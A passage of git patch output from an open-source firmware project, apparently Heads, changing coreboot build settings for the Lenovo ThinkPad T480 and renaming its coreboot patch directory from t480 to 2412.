-CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202111_VERSION=202111 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_202305_VERSION=202305 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 -CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 -CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 -CONFIG_DEFAULT_EBDA_SIZE=0x400 -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set -CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y -CONFIG_BOOTSPLASH=y -CONFIG_DEFAULT_SCREEN_ROTATION_NONE=y -# CONFIG_DEFAULT_SCREEN_ROTATION_90 is not set -# CONFIG_DEFAULT_SCREEN_ROTATION_180 is not set -# CONFIG_DEFAULT_SCREEN_ROTATION_270 is not set -CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_DRIVERS_EFI_FW_INFO is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_DRIVERS_OPTION_CFR is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_DRIVERS_UART=y -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -# CONFIG_BUILDING_WITH_DEBUG_FSP is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Sunrise_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -# CONFIG_DRIVERS_MTK_WIFI is not set -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set -CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set -CONFIG_PAYLOAD_LINUX=y -CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index ff282ab90..b9379ff79 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -123,19 +123,16 @@ CONFIG_VGA_BIOS_ID="8086,0406" CONFIG_DIMM_MAX=2 CONFIG_DIMM_SPD_SIZE=512 CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set +CONFIG_NO_POST=y CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xEEC000 -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_POST_DEVICE=y -CONFIG_POST_IO=y -CONFIG_UART_FOR_CONSOLE=0 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_VARIANT_DIR="t480" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" CONFIG_DEVICETREE="devicetree.cb" @@ -153,7 +150,6 @@ CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR) # CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="T480" -# CONFIG_CONSOLE_POST is not set CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 @@ -166,10 +162,10 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_USE_LEGACY_8254_TIMER=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t480/ifd_16" -CONFIG_ME_BIN_PATH="@BLOB_DIR@/t480/me.bin" -CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t480/gbe" +# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx80/ifd.bin" +CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx80/me.bin" +CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx80/gbe.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y @@ -226,8 +222,7 @@ CONFIG_PS2M_EISAID="PNP0F13" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y -CONFIG_LENOVO_TBFW_BIN="@BLOB_DIR@/t480/tb.bin" -CONFIG_TTYS0_BAUD=115200 +CONFIG_LENOVO_TBFW_BIN="" # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y CONFIG_D3COLD_SUPPORT=y @@ -260,10 +255,10 @@ CONFIG_COREBOOT_ROMSIZE_KB=16384 CONFIG_ROM_SIZE=0x01000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard CONFIG_SYSTEM_TYPE_LAPTOP=y @@ -764,27 +759,10 @@ CONFIG_RTC=y CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set @@ -799,11 +777,6 @@ CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 CONFIG_HWBASE_DEBUG_CB=y # end of Console From aff8e13a902a753e1053c87d8125067bcc7f7717 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 12 Feb 2025 13:33:15 -0500 Subject: [PATCH 513/619] targets/t480_me_blobs.mk: remove leftover artifact of @notgivenby from cleaner merged/adapted work from @gaspar-ilom Signed-off-by: Thierry Laurion --- boards/t480-hotp/t480-hotp.config | 2 +- boards/t480/t480.config | 2 +- modules/coreboot | 13 +++++++++---- ...001-soc-intel-skylake-configure-usb-acpi.patch | 0 ...ylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 0 ...ovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 0 ...04-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch | 0 ...ifdtool-add-nuke-flag-all-0xFF-on-region.patch | 0 ...ng-for-coreboot-images-built-without-a-p.patch | 0 ...07-mb-dell-optiplex_780-Add-USFF-variant.patch | 0 ...0008-dell-3050micro-disable-nvme-hotplug.patch | 0 ...dd-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch | 0 ...0-soc-intel-skylake-Don-t-compress-FSP-S.patch | 0 ...-pmc-Hardcoded-poweroff-after-power-fail.patch | 0 ...dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch | 0 ...ylake-Disable-stack-overflow-debug-optio.patch | 0 ...c-intel-x4x-Disable-stack-overflow-debug.patch | 0 .../85278-post-skylake-pr0.patch | 0 targets/t480_me_blobs.mk | 15 --------------- 19 files changed, 11 insertions(+), 21 deletions(-) rename patches/{coreboot-t480 => coreboot-2412}/0001-soc-intel-skylake-configure-usb-acpi.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0007-mb-dell-optiplex_780-Add-USFF-variant.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0008-dell-3050micro-disable-nvme-hotplug.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/0014-src-intel-x4x-Disable-stack-overflow-debug.patch (100%) rename patches/{coreboot-t480 => coreboot-2412}/85278-post-skylake-pr0.patch (100%) delete mode 100644 targets/t480_me_blobs.mk diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index f5db69db3..7da65f1d8 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config diff --git a/boards/t480/t480.config b/boards/t480/t480.config index acc827882..0d87ec978 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config diff --git a/modules/coreboot b/modules/coreboot index be27e9c9a..5a022ed4a 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,11 +98,16 @@ coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased -# T480 is based on coreboot ~24.12 release (TODO: verify) -coreboot-t480_repo := https://review.coreboot.org/coreboot.git -coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a +# T480 is based on coreboot ~24.12 release +# coreboot 24.12 doesn't include t480 support which is still under review at https://review.coreboot.org/c/coreboot/+/83274 +# TODO: track upstream WiP and switch to later upstream release containing patchset without relaying on libreboot downstream maintained patchset +# Therefore, patches/coreboot-2412 includes libreboot patches applied to 24.12 release +# patches/coreboot-2412 also includes PR0 patchset, minus xeon support which don't apply to 24.12 as per https://review.coreboot.org/c/coreboot/+/85278 +# TODO: @miczyg1 rebase of patchset so that doenstream don't have to maintain, adapt work +coreboot-2412_repo := https://review.coreboot.org/coreboot.git +coreboot-2412_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a #Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 -$(eval $(call coreboot_module,t480,)) +$(eval $(call coreboot_module,2412,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" diff --git a/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch b/patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch similarity index 100% rename from patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch rename to patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch diff --git a/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch similarity index 100% rename from patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch rename to patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch diff --git a/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch similarity index 100% rename from patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch rename to patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch diff --git a/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch b/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch similarity index 100% rename from patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch rename to patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch diff --git a/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch b/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch similarity index 100% rename from patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch rename to patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch diff --git a/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch 